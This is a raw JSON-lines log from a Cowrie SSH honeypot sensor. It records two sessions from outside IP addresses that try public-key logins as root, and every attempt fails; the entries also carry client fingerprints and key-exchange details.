{"eventid":"cowrie.login.failed","username":"root","fingerprint":"36:c6:32:57:92:03:5f:5e:3f:c5:54:7a:3c:d4:14:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDTPOEafUDUVssLFaiGOgQRnVpOJTMi802js9VyGS7+F3z6Gw/b8SM9TNVLv/YjT07kEUJ5K5vehA4PMHOJl+/Zkd+x3FybxYsvGaKyfbQVz4LnwJ7AUInYh20nI2j8oANWGwXM2gZiL3Dxea3MbNQYldM1dozA9wmCU37TMCVJB7oel6yQxyTgkpmEBa4pJIT5hQNzDQ76sjyk+KYmu4g5A/Z5Dqw5zXiCfgwolj8KDIV2birio++juX6mQu4+lfdrMT7PaZGX6+idP+ZhVsNcIcJZ1kao/vFhoOIMdCVg7IWH9GNMHN5KZYU1IZUG4Dhz7Vj3kVm7UZwQz9i3VrvsaWIjtSNQ9OsI5azPIE2KKKVG1Wa3VjkAI3ajgTlWVSjcGtRrWqnRwqNx+No9Kd3TwgEbL1doxyObHyliPcL2sswkjIXRdLJggSGxumeLLq3cP26SbhlesPTuhXry7W62PHd2k9f+JpZFc4edKT69spXp2XG4Sz30K0kvXuXl+0yger5PDc/fOnrmCE4Inz2wq4OGkng+H0oQ+od4Yk1yiczIsQJl4zjT+OEDqwFV0P6MNHa+pMWMXLO6Z1vwv235YmDrZz41eKBiAV2jH9IkLIyxrQsopbozz6Gqr1jIlb2gfeZE91ccTc79JfHB4wnJMkILda3yweeXzM3hHB2c+Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:29:22.280374Z","src_ip":"167.114.156.169","session":"b54df1ef26d3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"51:2d:66:f0:bd:0a:e1:a3:b3:9e:cc:3b:40:0a:5d:09","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbacAgkIt5+gcWPm/lcp3SFwy2fc5bQXmlBFrcfaJdNNNhqsoAQDAHC41FLTD+udsdZIq9Nytn9S2ldcd/9iMeSQQh0hTwKRl2Yi9C4FNy7HA9c8TuxQqt+klqjYAzJsN8hWP3M04R5v72LcaC27vWbj14A+KHOIWZ1br9H0uPrBEQx89O6n2P4Cb3AqSXUUy/xCnnq230gWTo1Btn9H8buSB2hBB+bwNy11seDwSwKj0hK0cZNIwukkxIksmxkPaBbg59Xp76URpilN47eLY9pvKO3j7Cxi7X8vMFaE+w+dnBe7FjfNXOHPT8FmOg38lqwWTT0MGyhgsmgfLZGLcr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 51:2d:66:f0:bd:0a:e1:a3:b3:9e:cc:3b:40:0a:5d:09","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:29:22.301944Z","src_ip":"167.114.156.169","session":"b54df1ef26d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"51:2d:66:f0:bd:0a:e1:a3:b3:9e:cc:3b:40:0a:5d:09","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbacAgkIt5+gcWPm/lcp3SFwy2fc5bQXmlBFrcfaJdNNNhqsoAQDAHC41FLTD+udsdZIq9Nytn9S2ldcd/9iMeSQQh0hTwKRl2Yi9C4FNy7HA9c8TuxQqt+klqjYAzJsN8hWP3M04R5v72LcaC27vWbj14A+KHOIWZ1br9H0uPrBEQx89O6n2P4Cb3AqSXUUy/xCnnq230gWTo1Btn9H8buSB2hBB+bwNy11seDwSwKj0hK0cZNIwukkxIksmxkPaBbg59Xp76URpilN47eLY9pvKO3j7Cxi7X8vMFaE+w+dnBe7FjfNXOHPT8FmOg38lqwWTT0MGyhgsmgfLZGLcr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:29:22.306558Z","src_ip":"167.114.156.169","session":"b54df1ef26d3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d5:61:5f:10:3a:f1:17:78:72:6c:91:6d:ca:44:4c:a8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDRF521SBMEbi3S+55nNE1uaF7aDMRLSTtr5MDMvR3WnRlAVtiz0ViZcCVnRJXnYlI9Z/XEkk0MrEzLD9FfjP3DN7yBn3rBfYsnSJZM/fNVmtUoYRksynzs6VG2OzpNFuXtuX8cZkQN2/gXJpM9vokej8tbDat1V+rgRmQKNSDk4Y7X7mji3TWQTzKMIwv4qkF9e+TdjGfOWaiEhYc7IELevaNLdjNfbfG4dmzA05FfHKe/BOGGF6PVANmfBBWXJwz9N+W61Pv1rt021cwA/8ajTaUH4JXQuon6HkRlq4Zt12O+7jgZazbWeq2RV4ylQWGFtOts5L4j3NOAoiVEy9CV8wpux3htjuKASENCPNpf29oTIIiLYBBnlk9Vfsmi62Li4X+rfK8gx5r/TfMdxv0xBdy6J63EyaLL0oSgyTHqQDqHwKYV4bsbLBXSxUUutwYZLqfhMkD9payMmTdJ7GjtThsp2WdYz8Vlin7LwrUV6QXwW+S+mckwZLhuJDaFXsYRvRlp0bJ1AT/2+duJui3PbxJO6M7ldLJV596CC1hv32BZ1Jo2lIAGnmmBphhVIzmPwpGNAIkQVKv5ZGavufc8wpZjOp5uV/IWeij0yv3pA733wadJ79RarqNQwJDPrVrS/uRUs1ChvpknniPFJoWuvVYU9IX3O6NCkCsm1l95+Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d5:61:5f:10:3a:f1:17:78:72:6c:91:6d:ca:44:4c:a8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:29:22.329840Z","src_ip":"167.114.156.169","session":"b54df1ef26d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d5:61:5f:10:3a:f1:17:78:72:6c:91:6d:ca:44:4c:a8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDRF521SBMEbi3S+55nNE1uaF7aDMRLSTtr5MDMvR3WnRlAVtiz0ViZcCVnRJXnYlI9Z/XEkk0MrEzLD9FfjP3DN7yBn3rBfYsnSJZM/fNVmtUoYRksynzs6VG2OzpNFuXtuX8cZkQN2/gXJpM9vokej8tbDat1V+rgRmQKNSDk4Y7X7mji3TWQTzKMIwv4qkF9e+TdjGfOWaiEhYc7IELevaNLdjNfbfG4dmzA05FfHKe/BOGGF6PVANmfBBWXJwz9N+W61Pv1rt021cwA/8ajTaUH4JXQuon6HkRlq4Zt12O+7jgZazbWeq2RV4ylQWGFtOts5L4j3NOAoiVEy9CV8wpux3htjuKASENCPNpf29oTIIiLYBBnlk9Vfsmi62Li4X+rfK8gx5r/TfMdxv0xBdy6J63EyaLL0oSgyTHqQDqHwKYV4bsbLBXSxUUutwYZLqfhMkD9payMmTdJ7GjtThsp2WdYz8Vlin7LwrUV6QXwW+S+mckwZLhuJDaFXsYRvRlp0bJ1AT/2+duJui3PbxJO6M7ldLJV596CC1hv32BZ1Jo2lIAGnmmBphhVIzmPwpGNAIkQVKv5ZGavufc8wpZjOp5uV/IWeij0yv3pA733wadJ79RarqNQwJDPrVrS/uRUs1ChvpknniPFJoWuvVYU9IX3O6NCkCsm1l95+Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:29:22.333823Z","src_ip":"167.114.156.169","session":"b54df1ef26d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:29:22.355593Z","src_ip":"167.114.156.169","session":"b54df1ef26d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.48.72.51","src_port":47966,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b0987a0b91e","protocol":"ssh","message":"New connection: 74.48.72.51:47966 (10.17.0.5:22) [session: 1b0987a0b91e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:29:33.816062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:29:33.820927Z","src_ip":"74.48.72.51","session":"1b0987a0b91e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:29:33.891259Z","src_ip":"74.48.72.51","session":"1b0987a0b91e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"09:5d:4d:75:83:fa:0f:82:ce:18:c9:a6:98:9e:95:e4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAABAEAy7nZ1WfwXM8H7XBx31Rs04iTcjVMkp12gS9kpeGlrmaeGYY2H+oe3YxK2k4r+5UtoPW7oBl2RizPR1lkFRLSMFhJpRBTsTIs2mxkMNYCD3VSRQygkixdfzQl5Qs9jHm3oE1/Lf5vu4A+eQXCE0akRZVNrqnAiV4F33DUj/1xJmRUWl+f5DRdUwMO/qPqw4t6CWz38c1L5WhVvJOxioBC4Ub8JVBQ/nG94+yTcW7vc1nM/oDcAoAWxqxGW0q4QyyxMQwhw2dJpdTR135cfoYhUcOfnzQBeVDz7/oBqRQKgr8rOydtR48vlgZzksj1PDOz4KghiO/bOHyVdslYdOcM+gNOfUcr5CpcUjPM2sSQDM2hCjDD6GgmPr7u/uIqjw4Kar9Ts549jPrBuFw7goRl+68AO1BhqfMAEfKCvQgkoo7N0BXntpG2ixKRCuyg7TtzFARI9S8lnCgS5w1F1QcBFvi+JyWPsy9yzB+5gVjewr2ws9M/Oc7HQICOWxabmLGnzdhEV3YwdMLx/dKcvfxbdWrcc6DMwRhopuC9pKDl16AvFilworMqD/TkZ13fHGuBhul2wqcF4wC/PJWG9F9zOtWoo6EnzGEyJksKp0eus5gQYtaoS9Wvq5QJDHpzUBr9srs9wB9++G+BHqEe+d3NQtlkQCZo0zsyNpk5wt/L15habLaDNfKrHRnK2+Y8SRKpiEzZHEaCyRE4V++JPXKBXLf8i0vCLw4Q/XvpjKN0XPhBjnUwbmDiwm3MKPdw4J/h3TvE8flXFSFh9WRKXo6IaRUHAS4Vfwbhd6CGJjVmUDtEI/mCtIb3/gzu9jayfkxTK2gZa0lUJz+99WvGhj5v+fC09T8XZ6cuNY/2YVTYygr41YVSzkpYDApUdeBQcbbdotkpxsyJJwhGlFGCnG2i7UX88ga/QKYG0fnS5wAqRZp+MfSTYZMs06QKLEdJlOe3MyKh984kClZ6nkuTb+90QGSRbku8/Bg1SE6I7HfDA44vmOrNAQ0hae031qo1RBIxylK/G3cgcFZF9FETGLoinVcc/fgXLYClrt5aRjkBu3bTwaDcjq7jz6HAcBFwaci6q4TCGPtsGavSTi42kZ7lLBCjedy4CF0UmMwTsFD4cny6G3H7JOf/Sh4rO+GChhtd5TmvHataGVa9uIUVXhTvho42HqxMFkIAEhjvElTKE7U9XuwgZu1DqEFYXGe7yxcl5rrlaq+OPFeLDia/8uhKZPlte+evpgk473mB60mQRz+jjYUOAHr9M725ArEDVVXFOG8efwuDnv6Thp1P0Xb1tcv4OYj7ZN9T0BRdOiepLZpqCr92eJ/AHQHoCBvwDZ/yDSUBBuwHSBpdKjdzlPxaeQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 09:5d:4d:75:83:fa:0f:82:ce:18:c9:a6:98:9e:95:e4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:29:34.208754Z","src_ip":"74.48.72.51","session":"1b0987a0b91e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"09:5d:4d:75:83:fa:0f:82:ce:18:c9:a6:98:9e:95:e4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAABAEAy7nZ1WfwXM8H7XBx31Rs04iTcjVMkp12gS9kpeGlrmaeGYY2H+oe3YxK2k4r+5UtoPW7oBl2RizPR1lkFRLSMFhJpRBTsTIs2mxkMNYCD3VSRQygkixdfzQl5Qs9jHm3oE1/Lf5vu4A+eQXCE0akRZVNrqnAiV4F33DUj/1xJmRUWl+f5DRdUwMO/qPqw4t6CWz38c1L5WhVvJOxioBC4Ub8JVBQ/nG94+yTcW7vc1nM/oDcAoAWxqxGW0q4QyyxMQwhw2dJpdTR135cfoYhUcOfnzQBeVDz7/oBqRQKgr8rOydtR48vlgZzksj1PDOz4KghiO/bOHyVdslYdOcM+gNOfUcr5CpcUjPM2sSQDM2hCjDD6GgmPr7u/uIqjw4Kar9Ts549jPrBuFw7goRl+68AO1BhqfMAEfKCvQgkoo7N0BXntpG2ixKRCuyg7TtzFARI9S8lnCgS5w1F1QcBFvi+JyWPsy9yzB+5gVjewr2ws9M/Oc7HQICOWxabmLGnzdhEV3YwdMLx/dKcvfxbdWrcc6DMwRhopuC9pKDl16AvFilworMqD/TkZ13fHGuBhul2wqcF4wC/PJWG9F9zOtWoo6EnzGEyJksKp0eus5gQYtaoS9Wvq5QJDHpzUBr9srs9wB9++G+BHqEe+d3NQtlkQCZo0zsyNpk5wt/L15habLaDNfKrHRnK2+Y8SRKpiEzZHEaCyRE4V++JPXKBXLf8i0vCLw4Q/XvpjKN0XPhBjnUwbmDiwm3MKPdw4J/h3TvE8flXFSFh9WRKXo6IaRUHAS4Vfwbhd6CGJjVmUDtEI/mCtIb3/gzu9jayfkxTK2gZa0lUJz+99WvGhj5v+fC09T8XZ6cuNY/2YVTYygr41YVSzkpYDApUdeBQcbbdotkpxsyJJwhGlFGCnG2i7UX88ga/QKYG0fnS5wAqRZp+MfSTYZMs06QKLEdJlOe3MyKh984kClZ6nkuTb+90QGSRbku8/Bg1SE6I7HfDA44vmOrNAQ0hae031qo1RBIxylK/G3cgcFZF9FETGLoinVcc/fgXLYClrt5aRjkBu3bTwaDcjq7jz6HAcBFwaci6q4TCGPtsGavSTi42kZ7lLBCjedy4CF0UmMwTsFD4cny6G3H7JOf/Sh4rO+GChhtd5TmvHataGVa9uIUVXhTvho42HqxMFkIAEhjvElTKE7U9XuwgZu1DqEFYXGe7yxcl5rrlaq+OPFeLDia/8uhKZPlte+evpgk473mB60mQRz+jjYUOAHr9M725ArEDVVXFOG8efwuDnv6Thp1P0Xb1tcv4OYj7ZN9T0BRdOiepLZpqCr92eJ/AHQHoCBvwDZ/yDSUBBuwHSBpdKjdzlPxaeQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:29:34.212303Z","src_ip":"74.48.72.51","session":"1b0987a0b91e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"df:84:d8:d0:60:e1:86:2a:f3:34:e8:d3:ce:30:87:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDW4bonAKjW1xhpQWgH+8/Q3R1L0YwbKvYth5SnX7CMctUrLDoH+pwV/tgZZ0dAgBGPnHkuQn7HjMw9et/6xl3t9GLnSjQGGFgw+FJGSnGjYuCHazzL7lGfgYr6OkNxLwLgP7a+P+HMLednDkCkfAj8SSueOfcMA9EaLXttZniloLGVBnTCaGsqpoMsq61wPpTdpFDDjSbc6WaiN1kaMYFifdMeKZT/d1RUloz8eVq4jOSwPd4MenSXXzbPjdvIWs86pMMD8OkabeYTUtk4q9K2NwFmejL7nz8wit3ech90f2qzHhsBFiMy7AatXD8siifuSHQeYYy8aHP9XKLkj1n6p1craVuPqsjSgN/tOstlG8wkhuXVsYNwQdx/3ODc6ImdPJRQciwSmLqfS5/VQsU+0P7vf0fNeamD34eB5EDuhLoZ8fFTMXJuzYix6la92AtKrj7dWn3Zlnv0jc75S6tv2t8ITiGeOwP8AKyGYJ4tGwvaflaaz1gYJB0MAMDitnM=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint df:84:d8:d0:60:e1:86:2a:f3:34:e8:d3:ce:30:87:39","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:29:34.280317Z","src_ip":"74.48.72.51","session":"1b0987a0b91e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"df:84:d8:d0:60:e1:86:2a:f3:34:e8:d3:ce:30:87:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDW4bonAKjW1xhpQWgH+8/Q3R1L0YwbKvYth5SnX7CMctUrLDoH+pwV/tgZZ0dAgBGPnHkuQn7HjMw9et/6xl3t9GLnSjQGGFgw+FJGSnGjYuCHazzL7lGfgYr6OkNxLwLgP7a+P+HMLednDkCkfAj8SSueOfcMA9EaLXttZniloLGVBnTCaGsqpoMsq61wPpTdpFDDjSbc6WaiN1kaMYFifdMeKZT/d1RUloz8eVq4jOSwPd4MenSXXzbPjdvIWs86pMMD8OkabeYTUtk4q9K2NwFmejL7nz8wit3ech90f2qzHhsBFiMy7AatXD8siifuSHQeYYy8aHP9XKLkj1n6p1craVuPqsjSgN/tOstlG8wkhuXVsYNwQdx/3ODc6ImdPJRQciwSmLqfS5/VQsU+0P7vf0fNeamD34eB5EDuhLoZ8fFTMXJuzYix6la92AtKrj7dWn3Zlnv0jc75S6tv2t8ITiGeOwP8AKyGYJ4tGwvaflaaz1gYJB0MAMDitnM=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:29:34.283947Z","src_ip":"74.48.72.51","session":"1b0987a0b91e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"35:b4:2f:c6:c6:d2:46:84:bd:1a:67:70:c7:4b:d8:ee","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCkLXCmree/j7GpNxZxP7x0tuVTaaCXJrDz9/iZiHd8vn9WtEgO8YO5RBGy+5C/EnIVtj6/y9Bjk4yyCjyk3YAdr4kQbdm55VuvqhY8oNAcUhl2oVmtIxKZ4J1/RTLJ06dVyLYMIWzsDnf6wnOd2/QDlT4b0aCCf9+uRMesqH3VGWfgEbwO2Pcrcpn8G3li2WDQZ4/Fcxqffef9EmtwMjV8CyZFMWLDrkTFUqceSguw1PViFrkdVwFIjJdB9zetW+6f3PNKrHKe0MXJDIbeUkTv/DsADMnzZRl97ngDlBjfmSFygBHSHJ8Q2oyx7J2yavMh4VlR6Berv/9350/XL3te7BUuZ+RuvHc1gW4h1DIW1GJT7z9ANN8r7iVBDAMJPwHiVggvVs5uFb809hkluv7MleDHccEpT8WGtJklKr5N/aWnQQG+Z06XlxupiZPcu51NNZpMfSlex7KDskuR6UVe+Xj5BzvOwcfkphH4WXJoeBYmE3qgAsKsALp/ldRvk6vaGeuvuUVF9sJtn9SXtcoEdNn/Rz94oRM+WafHwMQf/qZoBB5NnqnyiMzjBnXQEcBugyebKPVj4zVPzy/+UcRCne0A3wdBr8Aa57+rqJDwbY0RYKgoOE9sL4LG5cS1VWMmw0oMKNCMJIzb0gxRN3BfrW/ece8nndW8AkkBRs7Jxw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 35:b4:2f:c6:c6:d2:46:84:bd:1a:67:70:c7:4b:d8:ee","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:29:34.352169Z","src_ip":"74.48.72.51","session":"1b0987a0b91e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"35:b4:2f:c6:c6:d2:46:84:bd:1a:67:70:c7:4b:d8:ee","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCkLXCmree/j7GpNxZxP7x0tuVTaaCXJrDz9/iZiHd8vn9WtEgO8YO5RBGy+5C/EnIVtj6/y9Bjk4yyCjyk3YAdr4kQbdm55VuvqhY8oNAcUhl2oVmtIxKZ4J1/RTLJ06dVyLYMIWzsDnf6wnOd2/QDlT4b0aCCf9+uRMesqH3VGWfgEbwO2Pcrcpn8G3li2WDQZ4/Fcxqffef9EmtwMjV8CyZFMWLDrkTFUqceSguw1PViFrkdVwFIjJdB9zetW+6f3PNKrHKe0MXJDIbeUkTv/DsADMnzZRl97ngDlBjfmSFygBHSHJ8Q2oyx7J2yavMh4VlR6Berv/9350/XL3te7BUuZ+RuvHc1gW4h1DIW1GJT7z9ANN8r7iVBDAMJPwHiVggvVs5uFb809hkluv7MleDHccEpT8WGtJklKr5N/aWnQQG+Z06XlxupiZPcu51NNZpMfSlex7KDskuR6UVe+Xj5BzvOwcfkphH4WXJoeBYmE3qgAsKsALp/ldRvk6vaGeuvuUVF9sJtn9SXtcoEdNn/Rz94oRM+WafHwMQf/qZoBB5NnqnyiMzjBnXQEcBugyebKPVj4zVPzy/+UcRCne0A3wdBr8Aa57+rqJDwbY0RYKgoOE9sL4LG5cS1VWMmw0oMKNCMJIzb0gxRN3BfrW/ece8nndW8AkkBRs7Jxw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:29:34.358309Z","src_ip":"74.48.72.51","session":"1b0987a0b91e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3f:7a:9a:52:f3:31:b8:84:72:3e:53:3d:f9:9a:75:ed","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDKsg3ELO1UJMpEBEDdKYTPpNaNM1q8jykXFNgyGRxmE7R3LykeFHyukZQYLjgo9egTd5InwOAt6xG/gbomuIqO0+aV0R/12+2oMBzwKor6cdsMx2Gt/7Vzu+t8oRbPF4XmtcwiaOOC36esdqi9bLwEco45YEbetQwCSCR4mppC1w/HXPyf55qaEEPyasd6yWIB2iOnIYZI84Kfb4KxjPSKcjhkEvqtvTqRTy/8eOA8gRsi3e5adPz8BeYnLT/ayTujsZjKyrsRsfsGZR+wF21DyMrf1eQPRkDtj/L009aHkeLMGSdWfl1KSoBLJsxPw9CjlDkbffRqQP5843b+uP9gHlxwJW1z6qlPISJV1VHt6H841QOpNayFcKmb26wkMoQliZkYU/ajhrjx0gfUM7sXQDiuWFXcF7XEY6dPelVXNUIkS2sR3SOoxG47x007xDRArTrBWcNFPsbYlG/T1DtV/EIMqNZ/BTQe8Ua1BL2wv1voWNubgcuDuOUPHQe9qNe/LdnbC3B2O7aFlIZ/LIda0nOvplUY+ljbbKCWN3KN/0o4ErFBvw0ub7lM7DKjhpcw2ZqvzbxeX4nAbV7MXCQbLQcF6a9KSfzg/gqYMVPfOz9dJCoHC0jvdqKxUEVkG92duEvfLKQcNLEaC10WgXHrO1Lor+/P9Ut/mBnXS/+hNw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3f:7a:9a:52:f3:31:b8:84:72:3e:53:3d:f9:9a:75:ed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:29:34.425888Z","src_ip":"74.48.72.51","session":"1b0987a0b91e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3f:7a:9a:52:f3:31:b8:84:72:3e:53:3d:f9:9a:75:ed","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDKsg3ELO1UJMpEBEDdKYTPpNaNM1q8jykXFNgyGRxmE7R3LykeFHyukZQYLjgo9egTd5InwOAt6xG/gbomuIqO0+aV0R/12+2oMBzwKor6cdsMx2Gt/7Vzu+t8oRbPF4XmtcwiaOOC36esdqi9bLwEco45YEbetQwCSCR4mppC1w/HXPyf55qaEEPyasd6yWIB2iOnIYZI84Kfb4KxjPSKcjhkEvqtvTqRTy/8eOA8gRsi3e5adPz8BeYnLT/ayTujsZjKyrsRsfsGZR+wF21DyMrf1eQPRkDtj/L009aHkeLMGSdWfl1KSoBLJsxPw9CjlDkbffRqQP5843b+uP9gHlxwJW1z6qlPISJV1VHt6H841QOpNayFcKmb26wkMoQliZkYU/ajhrjx0gfUM7sXQDiuWFXcF7XEY6dPelVXNUIkS2sR3SOoxG47x007xDRArTrBWcNFPsbYlG/T1DtV/EIMqNZ/BTQe8Ua1BL2wv1voWNubgcuDuOUPHQe9qNe/LdnbC3B2O7aFlIZ/LIda0nOvplUY+ljbbKCWN3KN/0o4ErFBvw0ub7lM7DKjhpcw2ZqvzbxeX4nAbV7MXCQbLQcF6a9KSfzg/gqYMVPfOz9dJCoHC0jvdqKxUEVkG92duEvfLKQcNLEaC10WgXHrO1Lor+/P9Ut/mBnXS/+hNw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:29:34.429389Z","src_ip":"74.48.72.51","session":"1b0987a0b91e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c9:ff:63:9c:ab:52:c1:3f:de:c1:20:4c:67:1c:6e:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6EKl0eiCHSSUhdS8+q2OT3W1pJ2zpKipnzwqeuw7DkoXj9LvZFtMTDkbbyzdW4z7gtYebuLVg5PfgH7yrvceqCig/K/t4wdtrKmRfbGaNXkk11uqD+xc3MPleP+yTi5w82T+Td3Kc/xwkRC4GscvQufwplS+QpTdwgbHkM8Gr0EbeZgQiBClWlKbeU+mgyVrgV6iRy6ieut6+8X2vb0g6c7i43ctfMVZb9YMkjvcWaCcxicqht8I5gJC7SVU9OvAexEXTMpOrnsUBqfrWjbsT7OqKNUHqNS6iykoVWw1dWsSMbwGJbPz7ir9u16iAxIO71TsHdJX3uLPdNqQCtzpr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c9:ff:63:9c:ab:52:c1:3f:de:c1:20:4c:67:1c:6e:3b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:29:34.496965Z","src_ip":"74.48.72.51","session":"1b0987a0b91e","protocol":"ssh"}
